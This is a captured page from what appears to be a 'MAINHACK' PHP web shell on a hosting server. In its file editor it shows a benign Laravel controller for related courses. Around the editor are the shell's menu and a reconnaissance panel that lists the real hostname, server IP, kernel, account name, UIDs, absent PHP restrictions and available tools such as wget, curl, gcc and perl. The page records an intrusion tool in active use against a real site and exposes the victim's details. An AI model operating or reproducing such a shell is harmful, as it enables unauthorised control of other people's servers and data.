[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: RelatedCoursesController.php
<?php namespace App\Http\Controllers\Admin; use App\Http\Controllers\Controller; use App\Models\RelatedCourse; use Illuminate\Http\Request; use Illuminate\Support\Facades\Validator; class RelatedCoursesController extends Controller { public function getForm(Request $request, $id = null) { $relatedCourse = null; if (!empty($id)) { $relatedCourse = RelatedCourse::query()->findOrFail($id); } $data = [ 'itemId' => $request->get('item'), 'itemType' => $request->get('item_type'), 'relatedCourse' => $relatedCourse, ]; $html = (string)view()->make("admin.webinars.relatedCourse.related_course_modal", $data); return response()->json([ 'code' => 200, 'html' => $html ]); } public function store(Request $request) { $data = $request->all(); $validator = Validator::make($data, [ 'item_id' => 'required', 'item_type' => 'required|in:webinar,bundle,product,upcomingCourse', 'course_id' => 'required|exists:webinars,id', ]); if ($validator->fails()) { return response([ 'code' => 422, 'errors' => $validator->errors(), ], 422); } $type = $this->getTargetType($data); RelatedCourse::query()->updateOrCreate([ 'creator_id' => null, 'targetable_id' => $data['item_id'], 'targetable_type' => $type, 'course_id' => $data['course_id'] ], [ 'order' => null, ]); return response()->json([ 'code' => 200, 'title' => trans('update.saved_successfully') ], 200); } public function update(Request $request, $id) { $data = $request->all(); $validator = Validator::make($data, [ 'item_id' => 'required', 'item_type' => 'required|in:webinar,bundle,product,upcomingCourse', 'course_id' => 'required|exists:webinars,id', ]); if ($validator->fails()) { return response([ 'code' => 422, 'errors' => $validator->errors(), ], 422); } $type = $this->getTargetType($data); $item = RelatedCourse::query() ->where('targetable_id', $data['item_id']) ->where('targetable_type', $type) ->where('id', $id) ->first(); if (!empty($item)) { $item->update([ 'course_id' => $data['course_id'] ]); } return response()->json([ 'code' => 200, 'title' => trans('update.saved_successfully') ], 200); } public function destroy(Request $request, $id) { $item = RelatedCourse::query() ->where('id', $id) ->first(); if (!empty($item)) { $item->delete(); } return redirect()->back(); } private function getTargetType($data) { $type = null; switch ($data['item_type']) { case 'webinar': $type = "App\Models\Webinar"; break; case 'bundle': $type = "App\Models\Bundle"; break; case 'product': $type = "App\Models\Product"; break; case 'upcomingCourse': $type = "App\Models\UpcomingCourse"; break; } return $type; } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: premium320.web-hosting.com
Server IP: 66.29.153.54
PHP Version: 8.2.29
Server Software: LiteSpeed
System: Linux premium320.web-hosting.com 4.18.0-553.50.1.lve.el8.x86_64 #1 SMP Thu Apr 17 19:10:24 UTC 2025 x86_64
HDD Total: 97.87 GB
HDD Free: 76.84 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: aoneqssk
User ID (UID): 1285
Group ID (GID): 1290
Script Owner UID: 1285
Current Dir Owner: 1285